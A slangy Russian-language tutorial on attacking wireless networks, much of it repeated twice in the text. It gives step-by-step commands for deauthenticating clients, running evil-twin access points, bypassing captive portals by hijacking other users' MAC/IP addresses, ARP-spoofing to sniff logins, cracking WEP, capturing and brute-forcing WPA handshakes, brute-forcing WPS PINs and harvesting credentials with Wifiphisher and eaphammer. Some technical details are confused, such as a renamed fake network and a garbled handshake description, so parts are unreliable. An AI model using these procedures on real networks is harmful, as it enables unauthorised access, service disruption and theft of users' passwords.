ТЕРМИНОЛОГИЯ: ТД - Точка доступа
По итогам статьи вы освоите следующие навыки:
1. Получение информации о чипсете и драйвере сетевой карты
2. Проверка и изменение режима работы сетевого интерфейса
3. Проведение атак деаутентификации и деассоциации
4. Обход Captive-порталов и защита от таких обходов
5. Атаки на протоколы безопасности WiFi: WEP, WPA, WPA2 и WPA2 Enterprise
6. Перехват WiFi handshake
7. Анализ протокола WiFi Protected Setup (WPS) и атаки на него
8. Атаки типа «человек посередине» в беспроводных сетях
9. Использование утилиты hashcat для взлома паролей WPA/WPA2 из handshake
Примечание: Зачастую начинающие пентестеры не понимают принципов работы беспроводных сетей, вследствие чего тыкаются почти вслепую и используют утилиты для атаки на беспроводные сети, не понимая, что эти утилиты делают. В связи с этим, разбор каждой атаки мы будем начинать именно с теории. А начать стоит с оборудования, используемого при атаках на WiFi
------------------------------------------------------------------------------------------------------------------------------
WiFi = это беспроводная передача данных, работает на стандартах IEEE 802.11. Есть два диапазона: 2.4 ГГц (2412–2472 МГц) и 5 ГГц (5160–5825 МГц). Сигнал можно гнать на километр даже с малой мощностью, но чтобы ловить его издалека, нужна антенна с усилением. Теорию будем подкидывать по ходу дела, чтобы не перегружать мозг.
Перед тем как лезть в атаки на WiFi точки, спроси себя: зачем? Обычно цель = пробраться в корпоративную сеть через беспроводку.
С режимом монитора ты можешь перехватить четырёхэтапный handshake, штуку, которая потом поможет расколоть пароль WiFi (подробности позже). Кратко про handshake - это процесс аутентификации и ассоциации между клиентом и ТД. Он состоит из четырёх сообщений (Message 1–4)
Message 1 Точка доступа шлёт клиенту случайный набор байтов ANonce
Message 2 Клиент отвечает, отправляя ESID, который считается по ANonce, плюс PTK (сеансовый ключ) и GTK (ключ для шифрования широковещательного трафика, типа ARP или NETBIOS)
Message 3 ТД проверяет Message 2, и если всё ок, шлёт клиенту созданные ключи
Message 4 Клиент подтверждает, что всё получил, или орёт, если что-то не так.
Для взлома нам нужен только Message 2, где содержится handshake. Если твоя сетевая карта не тянет режим монитора, она почти бесполезна для пентеста WiFi. Максимум можно попробовать онлайн-атаки, но они слабые. В крайнем случае, юзай утилиту вроде RouterScan, чтобы хотя бы вычислить имена точек доступа, их шифрование и модель роутера.
Для атак типа «человек посередине» нужна карта, которая тянет режим точки доступа (ТД) В этом режиме она работает как роутер, и к ней могут цепляться другие устройства. Но не все карты, которые поддерживают монитор или инъекции, умеют быть точкой доступа
Чтобы не облажаться, надо знать чипсет и драйвер своей WiFi карты. Это ключ к пониманию, какие режимы она тянет, монитор, инъекции или AP. Проверяйте это в Linux-консоли
Чтобы рвать Wiаi сети, нужно шарить, что твоя сетевая карта может, а что нет. Всё зависит от двух вещей, чипсета (набора микросхем) и драйвера, который тянет твоя система. Разные чипсеты = разные возможности. Если знаешь, как устроен чипсет, сразу поймёшь, подойдёт ли карта для хакерских дел. К примеру, Broadcom те ещё жмоты, почти не делятся инфой о своих микросхемах, из-за чего их карты для перехвата пакетов не лучший выбор.
Таблица чипсетов и адаптеров (Wireless adapters/Chipset table, есть и на Википедии), Таблица драйверов для Linux (Existing Linux Wireless drivers).
В таблицах смотреть:
Manufacturer = кто сделал карту
Chipset = главный мозг твоего адаптера
Driver = какой драйвер юзается
PHY Modes = поддерживаемые стандарты (a/b/g/n/ac)
Encrypt = какое шифрование тянет
Station = может ли быть клиентом сети
Ad-hoc = поддержка децентрализованных сетей
AP = режим точки доступа
Mesh = сплошное WiFi покрытие
Monitor = режим монитора (ловит все пакеты)
Inj = беспроводные инъекции (для атак типа деаутентификации)
Bus = тип подключения (например, USB)
Notes = всякие полезные заметки
Для атак на WiFi главное чтобы карта тянула Monitor, Inj и, если хочешь мутить фейковые точки доступа, AP
--------------------------------------------------------------------------------------------------------------------------------
Чтобы не тратить бабки на неподходящую сетевую карту, можно заранее чекнуть её возможности по таблицам чипсетов и драйверов. Но если карта уже у тебя, Linux консоль поможет разобраться, тянет ли она нужные режимы для атак на Wi-Fi, монитор, инъекции и AP
sudo systemctl stop NetworkManager
sudo airmon-ng check kill
Это выключит NetworkManager и убьёт процессы, которые лезут к сетевому адаптеру
sudo iw dev
Команда покажет имя сетевого интерфейса, например, wlan0. Если ничего не вывелось либо карта не подключена, либо система её не распознала.
Теперь переводим интерфейс в режим монитора (замените wlan0 на своё имя интерфейса):
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
Снова запускаем:
sudo iw dev
Если видишь строку type monitor, поздравляю твоя карта тянет режим монитора. Это база для перехвата пакетов.
sudo aireplay-ng -9 wlan0
Ищи в выводе строку Injection is working!. Если она есть, то карта готова к инъекциям, и ты можешь выкидывать клиентов из сети.
Режим AP нужен для создания фейковых точек доступа, например, для атак типа «человек посередине» или социальной инженерии. Проверить, тянет ли карта этот режим, можно с помощью утилиты hostapd.
Создай файл hostapd.conf с таким содержимым (замените wlan0 на свой интерфейс):
interface=wlan0
driver=nl80211
ssid=TestAP
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
Сохрани файл и запусти hostapd
sudo hostapd hostapd.conf
Если всё ок, hostapd выдаст инфу о запуске точки доступа. Теперь бери телефон или любое устройство с Wi-Fi и ищи сеть TestAP. Если она появилась в списке твоя карта поддерживает режим AP. Интернет через эту сеть работать не будет, но сам факт, что сеть видна, подтверждает поддержку режима.
Для верности чекни режим карты
sudo iw dev
Если видишь type AP, всё работает как надо.
!!! Для некоторых атак, вроде обхода Captive Portal, нужно одновременно глушить настоящую точку доступа (ТД) и поднимать фейковую, которая притворяется оригиналом. Чтобы это провернуть, нам понадобится второй виртуальный интерфейс, созданный на базе основного. Погнали разбираться, как это сделать и как замуть атаку с деаутентификацией и фейковой ТД
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
Теперь создаём виртуальный интерфейс, например, wlan0ap:
sudo iw dev wlan0 interface add wlan0ap type __ap
Проверяем, что второй интерфейс появился
sudo iw dev
Если в выводе видишь оба интерфейса (wlan0 и wlan0ap), всё ок, можно двигаться дальше
Оба интерфейса должны сидеть на одной частоте (фейковая ТД должна быть максимально похожа на настоящую).
Интерфейс в режиме master (AP) автоматически связан с интерфейсом в режиме monitor. Когда поднимаешь фейковую ТД, второй интерфейс сам переключится в режим монитора.
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
Запускаем airodump-ng, чтобы найти цель:
sudo airodump-ng wlan0
Допустим, выбрали сеть XSSMaster на канале 10 с BSSID 5C:34:AC:10:00:00. Запоминаем эти данные.
interface=wlan0ap
driver=nl80211
ssid=XSSMaster
hw_mode=g
channel=10
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
Сохраняем и запускаем hostapd
sudo hostapd hostapd.conf
Проверяем статус интерфейсов
sudo iw dev
Если всё ок, фейковая ТД с именем Anastas уже в эфире. Клиенты смогут её увидеть и подключиться (без пароля, разумеется)
sudo mdk4 wlan0 d -c 10 -t 5C:34:AC:10:00:00
Где:
d = модуль деаутентификации.
-c 10 = канал цели.
-t 5C:34:AC:10:00:00 = BSSID настоящей ТД.
Пока mdk4 работает, клиенты не смогут подключиться к оригинальной Anastas, но наша фейковая ТД будет доступна. Это идеальная замануха для атаки типа «человек посередине»
-----------------------------------------------------------------------------------------------------
Открытые Wi-Fi, без паролей и всякой херни, редкость, но ещё попадаются. Думаешь, подключился и в дамках? х#й там. Первое что дальше? Второе часто эти сети юзают Captive Portal, чтобы держать тебя за яйца. Это типа шлагбаумак, вводи PIN из SMS, логин/пароль с ресепшена или вали бабки. Пример: цепляешь сеть XSSTheBest, а тебе 500 рубликов за безлимит. Да ну нахуй, дорого.
Фишка открытых сеток с Captive Portal, это - ты уже в локалке, без всякого взлома. А это простор для сниффинга и других движух. Портал обычно на HTTP, потому что HTTPS для локальных адресов не катит валидные SSL-сертификаты не сделать, а без них сеть как голая. Если браузер не кидает на страницу портала, зайди на HTTP-сайт может сработать. Трафик по всем портам, кроме UDP/53 (для DNS), блочат, чтобы ты не врубил VPN или Tor
Когда вводишь учётки, Captive Portal цепляет доступ к твоему MAC-адресу, иногда к связке MAC+IP. Это чтобы все проги на девайсе, а не только браузер, могли в инет. MAC = твой уникальный ID, по нему система помнит, кому открыть шлюз.
1. Гонишь скрипт hack-captive-portals он ищет в сети авторизованных чуваков, тырит их MAC и IP, проверяет, есть ли инет. Не катит - берёт следующую пару. Без скрипта юзай arp-scan для скана, macchanger для смены MAC и Network Manager для IP (DNS ставь 8.8.8.8). Работает, если есть авторизованные клиенты, но доступ может быть на сутки или типа того
2. Captive Portal оставляет UDP/53 для DNS. Чекни спуфинг через dig на разные хосты (ya.ru, google.com). Если запросы идут, врубай VPN или прокси через UDP/53
Ты в одной локалке с другими, а Captive Portal на HTTP. Делаешь так, цепляешься к сети, врубаешь ARP-спуфинг, сниффишь трафик через Bettercap, ищешь логины/пароли. Или просто лови трафик с airodump-ng, не подключаясь, в открытых сетях всё без шифра. Но фейковые клиенты могут заебать, и атака не всегда проходит.
WEP (Wired Equivalent Privacy) старый протокол, который обещал безопасность проводных сетей, но на деле шлак. В Windows такие сети как открытые. Ломать WEP рз плюнуть, особенно с атакой chopchop.
Эта хрень расшифровывает пакеты без ключа WEP. Как работает, берёт пакет, отрезает последний байт, перебирает контрольную сумму от 0 до 255, шлёт изменённые пакеты роутеру. Тот глушит неверные. Один из 256 угадывает байт, потом следующий. Для атаки
Замути точку с WEP через hostapd (в конфиге пропиши wep_key0)
Цепляй девайс.
Врубай режим монитора, запускай airodump-ng
sudo airodump-ng wlan0 --bssid <MAC> -c 6 -w WEPcrack
Набери ~80,000 пакетов (иногда меньше)
Стопай сбор (Ctrl+C), кидай дамп в aircrack-ng
sudo aircrack-ng <file.cap>
Забирай WEP ключ.
WPA (Wi-Fi Protected Access) делится на WPAPersonal (PSK, общий ключ) и WPAEnterprise (с сервером). Handshake (EAPOL-Key кадры):
ТД кидает клиенту ANonce и счётчик (чтоб без повторов)
Клиент шлёт SNonce, код целостности (MIC) и счётчик
ТД чекает ANonce, RSN, MIC, счётчик. Если ок, даёт GTK
Клиент проверяет MIC, счётчик, подтверждает
WPA юзает TKIP = уже старьё
WPA2 апгрейд WPA, тоже с PSK и Enterprise. Главное шифрование AESCCMP, которое покрепче TKIP
---------------------------------------------------------------------------------------------------------------------------
Перехват хэндшейка в Wi-Fi это когда точка доступа и клиент обмениваются ключами при подключении, и этот обмен можно поймать, чтобы потом расколоть пароль.
Хэндшейк идёт в несколько этапов, передаются ключи для шифрования, и всё это хорошо задокументировано, инфы в инете полно, в том числе на русском. Для практики нам нужно знать две вещи, хэндшейк ловится, когда клиент с правильным паролем цепляется к точке доступа, и в нём хватает данных, чтобы брутфорсить пароль. Это работает для WPA/WPA2, которые юзают протокол EAPOL для обмена ключами.
Твоя задача перехватить пакеты и подобрать пароль грубой силой(БРУТОМ). В Kali Linux алгоритм такой, сканируешь сеть на точки доступа, выбираешь цель, запоминаешь её BSSID и канал, ловишь хэндшейк, слушая трафик, или форсируешь деаутентификацией.
По шагам: переводишь интерфейс в режим монитора командой ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up, смотришь доступные точки через airodump-ng wlan0
Допустим, выбрал сеть xx, BSSID 00:00:00:00:00:00, канал 1. Запускаешь airodump-ng wlan0 --channel 1 -w cap2, где cap2 = имя файла для хэндшейка. Ждёшь, пока кто-то подключится, или в новом терминале форсируешь деаутентификацией, aireplay-ng -0 5 -a 00:00:00:00:00:00wlan0 (-0 = деаутентификация, 5 = число пакетов, -a = BSSID).
Когда видишь «WPA handshake: 00:00:00:00:00:00», хэндшейк пойман. Брутфорсишь пароль через aircrack-ng -w <путьдословаря> -e <имя_ТД> cap2.cap.
Теперь про WPS, Wi-Fi Protected Setup, протокол для упрощения настройки WiFi, но с дырой. WPS бывает с PIN-кодом из 8 цифр или с кнопкой, где надо нажать на роутере и клиенте. PIN-код уязвим к брутфорсу, подобрав его, получаешь доступ к сети и пароль WPA/WPA2.
!! В 2011 Стефан Фибёк показал, что WPS с PIN ломается за часы!!
PIN - 8 цифр, это 100,000,000 комбинаций, но последняя цифра = контрольная сумма, так что реально 10,000,000. Плюс PIN делится на две части: 4+3 цифры, и точка доступа отвечает после первых 4 (M4) или последних 3 (M6), если они неверные. Итог, 10,000 комбинаций для первых 4 + 1,000 для последних 3 = 11,000. Ещё есть атака Pixie Dust, на роутерах со слабым генератором случайных чисел PIN вычисляется с первой попытки оффлайн.
Алгоритм атаки на WPS, переводишь интерфейс в режим монитора, сканируешь сеть на WPS с wash -i wlan0, чекаешь Pixie Dust через reaver -i wlan0 -b -vv -K 1, пробуешь PIN’ы из базы, если не вышло врубаешь полный перебор с reaver -i wlan0 -b -c <канал> -vv. ПолучиB PIN, доставай пароль, reaver -i wlan0 -b -p
На Windows юзай Router Scan для WPS и сбора инфы, работает с 5 ГГц.
Теперь Evil Twin , фишинг для Wi-Fi, создаёшь фейковую точку доступа, копирующую настоящую, и ловишь пароли юзеров. Утилита Wifiphisher делает это на автомате, ставишь с GitHub, запускаешь sudo wifiphisher, выбираешь цель, сценарий (например, форма логина), жертва видит фейковую ТД, вводит пароль и хоп он твой.
Альтернатива eaphammer. У Evil Twin есть минус, неясно, какую ТД выбрать и сколько ждать. Это решает атака Karma. Устройства (например, телефоны) шлют Probe Request с названиями сохранённых сетей. Ловишь их, видишь ESSID и поднимаешь фейковую ТД. Запускаешь airodump-ng wlan0, смотришь Probe Request, если есть, мутишь атаку через Wifiphisher или вручную. Для ручной атаки пишешь скрипт с hostapd, поднимаешь ТД с нужным ESSID через sudo hostapd configAP.conf, настраиваешь DHCP и инет для юзеров.
.Evil Twin на WPA2-Enterprise, фейковая ТД принимает всех, записывает учётки и хеши. Делаешь через eaphammer, sudo python3 eaphammer -bssid -essid <имя_сети> --channel <канал> --wpa-version 2 –auth wpa-eap –interface wlan0 --creds. Ждёшь и получаешь логин и пароль. Успех зависит от мощности адаптера и близости к жертве
-------------------------------------------------------------------------------------------------------------------
Технология Bluetooth активно используется для атак на беспроводные устройства, такие как мышки, клавиатуры, наушники и прочее, потому что стек протоколов Bluetooth дырявый, как решето, и атаки на него реализовать проще простого.
Если атака удалась, можно получить удалённое выполнение кода на устройстве = это критическая уязвимость, которая открывает полный доступ. Алгоритмы шифрования Bluetooth слабые, что даёт хакерам кучу возможностей. Известно около 10 атак, которые бьют по разным уровням протокола.
Разберём две, взлом PIN-кода и корреляционная атака. Атака на PIN-код нацелена на то, чтобы вычислить код, защищающий Bluetooth-соединение, и расшифровывать все сообщения или обойти аутентификацию. Есть два подхода, первый человеческий фактор, второй математические алгоритмы.
Первый проще, люди часто не меняют дефолтный PIN, потому что не шарят, что это важно. Для телефонов, наушников, часов это обычно 0000. Дефолтный PIN можно найти в доках устройства, а некоторые девайсы имеют вшитый PIN, который не поменяешь без гемора. В таких случаях хакер либо ищет список PIN’ов, либо брутфорсит.
Скрипты для этого юзают таблицы дефолтных PIN’ов, начиная с 0000, или перебирают все комбинации четырёх цифр, это несложно, можно даже попробовать даты типа дня рождения жертвы. Второй подход - матан. Хакер перехватывает трафик между двумя устройствами, которые коннектятся, что делается без особых проблем. Он ловит сообщения с данными вроде IN_RAND и BD_ADDR, потом перебирает возможные PIN’ы, шифруя их через алгоритм E22, чтобы получить ключ инициализации.
С этим ключом он пытается расшифровать следующие сообщения, где лежит инфа для ключа связи. Последние четыре сообщения помогают проверить, правильный ли PIN, хакер считает значение SRES из AU_RANDA и сравнивает с пятым сообщением, потом то же с AU_RANDB и седьмым. В среднем на компе с 450 MHz это занимает 0.8 секунды.
Итог: хакер может слушать весь трафик, даже если он зашифрован.
Корреляционная атака = это атака с известным открытым текстом, когда хакер знает или угадывает часть зашифрованного сообщения. Она бьёт по поточным шифрам, где ключевой поток (гамма последовательность) генерится через комбинацию нескольких регистров сдвига (LFSR) с булевой функцией. Суть в том, чтобы найти статистическую связь между входными данными и выходом шифратора. Для атаки нужна сильная корреляция между одним LFSR и выходом функции. Если хакер знает часть сообщения, он знает часть гамма последовательности (она обычно накладывается через XOR), что позволяет перебрать начальное состояние одного LFSR отдельно.
Чекните утилиту BtleJuice она для атак типа «человек посередине» на Bluetooth Low Energy устройства. GSM и RFID тоже уязвимы, но атаки на них сложные и дорогие, так что актуальность под вопросом. GSM самая популярная технология мобильной связи, но её протоколы, придуманные в 80-х, имеют дыры. Большинство атак бьют по алгоритму A5/1, который шифрует звонки. Его заменили на новые, но A5/1 всё ещё юзают как запасной, что оставляет риски. RFID (радиочастотная идентификация) дешёвая и универсальная технология, юзается везде, от платёжных дорог до отслеживания животных и бесключевого доступа в авто. Скоро, говорят, будут вшивать RFID в евро выше 20. Система состоит из меток с антеннами, которые общаются со считывателями через электромагнитные поля, и базы данных для инфы о помеченных объектах. Но RFID уязвимы, метки читаются без авторизации, что позволяет хакерам подслушивать или мешать сигналу. В отличие от проводных сетей с их фаерволами, RFID атаки бьют децентрализованно, так как метки и считыватели работают в шумной среде.
Что надо знать
Чтобы въехать в тему, нужен базовый уровень, стек TCP/IP, умение ковыряться в Unix и хотя бы понимание, как работают протоколы радиовещания.По итогам статьи вы освоите следующие навыки:
1. Получение информации о чипсете и драйвере сетевой карты
2. Проверка и изменение режима работы сетевого интерфейса
3. Проведение атак деаутентификации и деассоциации
4. Обход Captive-порталов и защита от таких обходов
5. Атаки на протоколы безопасности WiFi: WEP, WPA, WPA2 и WPA2 Enterprise
6. Перехват WiFi handshake
7. Анализ протокола WiFi Protected Setup (WPS) и атаки на него
8. Атаки типа «человек посередине» в беспроводных сетях
9. Использование утилиты hashcat для взлома паролей WPA/WPA2 из handshake
Примечание: Зачастую начинающие пентестеры не понимают принципов работы беспроводных сетей, вследствие чего тыкаются почти вслепую и используют утилиты для атаки на беспроводные сети, не понимая, что эти утилиты делают. В связи с этим, разбор каждой атаки мы будем начинать именно с теории. А начать стоит с оборудования, используемого при атаках на WiFi
------------------------------------------------------------------------------------------------------------------------------
WiFi = это беспроводная передача данных, работает на стандартах IEEE 802.11. Есть два диапазона: 2.4 ГГц (2412–2472 МГц) и 5 ГГц (5160–5825 МГц). Сигнал можно гнать на километр даже с малой мощностью, но чтобы ловить его издалека, нужна антенна с усилением. Теорию будем подкидывать по ходу дела, чтобы не перегружать мозг.
Перед тем как лезть в атаки на WiFi точки, спроси себя: зачем? Обычно цель = пробраться в корпоративную сеть через беспроводку.
Режимы работы адаптера
По умолчанию сетевой адаптер работает в режиме managed (управляемый). В этом режиме он ловит только те пакеты, где MAC-адрес назначения совпадает с его собственным. Но для хакерских дел нужен режим монитора. В нём карта хапает вообще все пакеты, которые летают в радиоэфире на выбранной частоте, не привязываясь к конкретной точке доступа. Это как подслушать весь эфир без фильтров.С режимом монитора ты можешь перехватить четырёхэтапный handshake, штуку, которая потом поможет расколоть пароль WiFi (подробности позже). Кратко про handshake - это процесс аутентификации и ассоциации между клиентом и ТД. Он состоит из четырёх сообщений (Message 1–4)
Message 1 Точка доступа шлёт клиенту случайный набор байтов ANonce
Message 2 Клиент отвечает, отправляя ESID, который считается по ANonce, плюс PTK (сеансовый ключ) и GTK (ключ для шифрования широковещательного трафика, типа ARP или NETBIOS)
Message 3 ТД проверяет Message 2, и если всё ок, шлёт клиенту созданные ключи
Message 4 Клиент подтверждает, что всё получил, или орёт, если что-то не так.
Для взлома нам нужен только Message 2, где содержится handshake. Если твоя сетевая карта не тянет режим монитора, она почти бесполезна для пентеста WiFi. Максимум можно попробовать онлайн-атаки, но они слабые. В крайнем случае, юзай утилиту вроде RouterScan, чтобы хотя бы вычислить имена точек доступа, их шифрование и модель роутера.
Атака деаутентификации и инъекции
Handshake ловится, когда клиент подключается к ТД, но это бывает нечасто. Чтобы ускорить процесс, мы юзаем атаку деаутентификации просто выкидываем клиента из сети, заставляя его подключаться заново. Для этого карта должна уметь делать беспроводные инъекции (режим Inj) !Важно режим монитора и инъекции не одно и то же! Некоторые карты могут ловить handshake, но не могут выполнять деаутентификациюДля атак типа «человек посередине» нужна карта, которая тянет режим точки доступа (ТД) В этом режиме она работает как роутер, и к ней могут цепляться другие устройства. Но не все карты, которые поддерживают монитор или инъекции, умеют быть точкой доступа
Чтобы не облажаться, надо знать чипсет и драйвер своей WiFi карты. Это ключ к пониманию, какие режимы она тянет, монитор, инъекции или AP. Проверяйте это в Linux-консоли
Чтобы рвать Wiаi сети, нужно шарить, что твоя сетевая карта может, а что нет. Всё зависит от двух вещей, чипсета (набора микросхем) и драйвера, который тянет твоя система. Разные чипсеты = разные возможности. Если знаешь, как устроен чипсет, сразу поймёшь, подойдёт ли карта для хакерских дел. К примеру, Broadcom те ещё жмоты, почти не делятся инфой о своих микросхемах, из-за чего их карты для перехвата пакетов не лучший выбор.
Всё, что нужно, есть в двух местахТаблица чипсетов и адаптеров (Wireless adapters/Chipset table, есть и на Википедии), Таблица драйверов для Linux (Existing Linux Wireless drivers).
В таблицах смотреть:
Manufacturer = кто сделал карту
Chipset = главный мозг твоего адаптера
Driver = какой драйвер юзается
PHY Modes = поддерживаемые стандарты (a/b/g/n/ac)
Encrypt = какое шифрование тянет
Station = может ли быть клиентом сети
Ad-hoc = поддержка децентрализованных сетей
AP = режим точки доступа
Mesh = сплошное WiFi покрытие
Monitor = режим монитора (ловит все пакеты)
Inj = беспроводные инъекции (для атак типа деаутентификации)
Bus = тип подключения (например, USB)
Notes = всякие полезные заметки
Для атак на WiFi главное чтобы карта тянула Monitor, Inj и, если хочешь мутить фейковые точки доступа, AP
--------------------------------------------------------------------------------------------------------------------------------
Чтобы не тратить бабки на неподходящую сетевую карту, можно заранее чекнуть её возможности по таблицам чипсетов и драйверов. Но если карта уже у тебя, Linux консоль поможет разобраться, тянет ли она нужные режимы для атак на Wi-Fi, монитор, инъекции и AP
Перед тем как ковырять карту:sudo systemctl stop NetworkManager
sudo airmon-ng check kill
Это выключит NetworkManager и убьёт процессы, которые лезут к сетевому адаптеру
Видит ли система твою карту:sudo iw dev
Команда покажет имя сетевого интерфейса, например, wlan0. Если ничего не вывелось либо карта не подключена, либо система её не распознала.
Теперь переводим интерфейс в режим монитора (замените wlan0 на своё имя интерфейса):
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
Снова запускаем:
sudo iw dev
Если видишь строку type monitor, поздравляю твоя карта тянет режим монитора. Это база для перехвата пакетов.
Чтобы проверить, умеет ли карта делать инъекции (нужны для атак вроде деаутентификации), используем aireplay-ngsudo aireplay-ng -9 wlan0
Ищи в выводе строку Injection is working!. Если она есть, то карта готова к инъекциям, и ты можешь выкидывать клиентов из сети.
Так,Режим AP нужен для создания фейковых точек доступа, например, для атак типа «человек посередине» или социальной инженерии. Проверить, тянет ли карта этот режим, можно с помощью утилиты hostapd.
Создай файл hostapd.conf с таким содержимым (замените wlan0 на свой интерфейс):
interface=wlan0
driver=nl80211
ssid=TestAP
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
Сохрани файл и запусти hostapd
sudo hostapd hostapd.conf
Если всё ок, hostapd выдаст инфу о запуске точки доступа. Теперь бери телефон или любое устройство с Wi-Fi и ищи сеть TestAP. Если она появилась в списке твоя карта поддерживает режим AP. Интернет через эту сеть работать не будет, но сам факт, что сеть видна, подтверждает поддержку режима.
Для верности чекни режим карты
sudo iw dev
Если видишь type AP, всё работает как надо.
!!! Для некоторых атак, вроде обхода Captive Portal, нужно одновременно глушить настоящую точку доступа (ТД) и поднимать фейковую, которая притворяется оригиналом. Чтобы это провернуть, нам понадобится второй виртуальный интерфейс, созданный на базе основного. Погнали разбираться, как это сделать и как замуть атаку с деаутентификацией и фейковой ТД
Допустим, твой основной интерфейс wlan0. Сначала переводим его в режим монитора, чтобы он ловил сетевой трафик:sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
Теперь создаём виртуальный интерфейс, например, wlan0ap:
sudo iw dev wlan0 interface add wlan0ap type __ap
Проверяем, что второй интерфейс появился
sudo iw dev
Если в выводе видишь оба интерфейса (wlan0 и wlan0ap), всё ок, можно двигаться дальше
Чтобы всё работало как надо, держи в голове пару правилОба интерфейса должны сидеть на одной частоте (фейковая ТД должна быть максимально похожа на настоящую).
Интерфейс в режиме master (AP) автоматически связан с интерфейсом в режиме monitor. Когда поднимаешь фейковую ТД, второй интерфейс сам переключится в режим монитора.
Пора проверить теорию на практике. Будем глушить настоящую ТД с помощью атаки деаутентификации и поднимать фейковую ТД на втором интерфейсе.
Снова переводим wlan0 в режим монитора (если ещё не перевпел)sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
Запускаем airodump-ng, чтобы найти цель:
sudo airodump-ng wlan0
Допустим, выбрали сеть XSSMaster на канале 10 с BSSID 5C:34:AC:10:00:00. Запоминаем эти данные.
Создаём файл hostapd.conf для фейковой ТД на интерфейсе wlan0apinterface=wlan0ap
driver=nl80211
ssid=XSSMaster
hw_mode=g
channel=10
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
Сохраняем и запускаем hostapd
sudo hostapd hostapd.conf
Проверяем статус интерфейсов
sudo iw dev
Если всё ок, фейковая ТД с именем Anastas уже в эфире. Клиенты смогут её увидеть и подключиться (без пароля, разумеется)
Теперь глушим настоящую ТД, чтобы клиенты подцепились к нашей фейковой. Юзаем утилиту mdk4 на основном интерфейсе wlan0sudo mdk4 wlan0 d -c 10 -t 5C:34:AC:10:00:00
Где:
d = модуль деаутентификации.
-c 10 = канал цели.
-t 5C:34:AC:10:00:00 = BSSID настоящей ТД.
Пока mdk4 работает, клиенты не смогут подключиться к оригинальной Anastas, но наша фейковая ТД будет доступна. Это идеальная замануха для атаки типа «человек посередине»
Про mdk4
У mdk4 есть 9 модулей атак, каждый обозначается буквой (мы юзали d для деаутентификации). Подробности можно чекнуть в документации mdk4. Главное чтобы mdk4 и hostapd работали одновременно без сбоев. Это основа для успешной атаки.-----------------------------------------------------------------------------------------------------
Открытые Wi-Fi, без паролей и всякой херни, редкость, но ещё попадаются. Думаешь, подключился и в дамках? х#й там. Первое что дальше? Второе часто эти сети юзают Captive Portal, чтобы держать тебя за яйца. Это типа шлагбаумак, вводи PIN из SMS, логин/пароль с ресепшена или вали бабки. Пример: цепляешь сеть XSSTheBest, а тебе 500 рубликов за безлимит. Да ну нахуй, дорого.
Фишка открытых сеток с Captive Portal, это - ты уже в локалке, без всякого взлома. А это простор для сниффинга и других движух. Портал обычно на HTTP, потому что HTTPS для локальных адресов не катит валидные SSL-сертификаты не сделать, а без них сеть как голая. Если браузер не кидает на страницу портала, зайди на HTTP-сайт может сработать. Трафик по всем портам, кроме UDP/53 (для DNS), блочат, чтобы ты не врубил VPN или Tor
Когда вводишь учётки, Captive Portal цепляет доступ к твоему MAC-адресу, иногда к связке MAC+IP. Это чтобы все проги на девайсе, а не только браузер, могли в инет. MAC = твой уникальный ID, по нему система помнит, кому открыть шлюз.
Обход Captive Portal
1. Гонишь скрипт hack-captive-portals он ищет в сети авторизованных чуваков, тырит их MAC и IP, проверяет, есть ли инет. Не катит - берёт следующую пару. Без скрипта юзай arp-scan для скана, macchanger для смены MAC и Network Manager для IP (DNS ставь 8.8.8.8). Работает, если есть авторизованные клиенты, но доступ может быть на сутки или типа того
2. Captive Portal оставляет UDP/53 для DNS. Чекни спуфинг через dig на разные хосты (ya.ru, google.com). Если запросы идут, врубай VPN или прокси через UDP/53
Ты в одной локалке с другими, а Captive Portal на HTTP. Делаешь так, цепляешься к сети, врубаешь ARP-спуфинг, сниффишь трафик через Bettercap, ищешь логины/пароли. Или просто лови трафик с airodump-ng, не подключаясь, в открытых сетях всё без шифра. Но фейковые клиенты могут заебать, и атака не всегда проходит.
WEP (Wired Equivalent Privacy) старый протокол, который обещал безопасность проводных сетей, но на деле шлак. В Windows такие сети как открытые. Ломать WEP рз плюнуть, особенно с атакой chopchop.
Атака chopchop
Эта хрень расшифровывает пакеты без ключа WEP. Как работает, берёт пакет, отрезает последний байт, перебирает контрольную сумму от 0 до 255, шлёт изменённые пакеты роутеру. Тот глушит неверные. Один из 256 угадывает байт, потом следующий. Для атаки
Замути точку с WEP через hostapd (в конфиге пропиши wep_key0)
Цепляй девайс.
Врубай режим монитора, запускай airodump-ng
sudo airodump-ng wlan0 --bssid <MAC> -c 6 -w WEPcrack
Набери ~80,000 пакетов (иногда меньше)
Стопай сбор (Ctrl+C), кидай дамп в aircrack-ng
sudo aircrack-ng <file.cap>
Забирай WEP ключ.
WPA (Wi-Fi Protected Access) делится на WPAPersonal (PSK, общий ключ) и WPAEnterprise (с сервером). Handshake (EAPOL-Key кадры):
ТД кидает клиенту ANonce и счётчик (чтоб без повторов)
Клиент шлёт SNonce, код целостности (MIC) и счётчик
ТД чекает ANonce, RSN, MIC, счётчик. Если ок, даёт GTK
Клиент проверяет MIC, счётчик, подтверждает
WPA юзает TKIP = уже старьё
WPA2 апгрейд WPA, тоже с PSK и Enterprise. Главное шифрование AESCCMP, которое покрепче TKIP
---------------------------------------------------------------------------------------------------------------------------
Перехват хэндшейка в Wi-Fi это когда точка доступа и клиент обмениваются ключами при подключении, и этот обмен можно поймать, чтобы потом расколоть пароль.
Хэндшейк идёт в несколько этапов, передаются ключи для шифрования, и всё это хорошо задокументировано, инфы в инете полно, в том числе на русском. Для практики нам нужно знать две вещи, хэндшейк ловится, когда клиент с правильным паролем цепляется к точке доступа, и в нём хватает данных, чтобы брутфорсить пароль. Это работает для WPA/WPA2, которые юзают протокол EAPOL для обмена ключами.
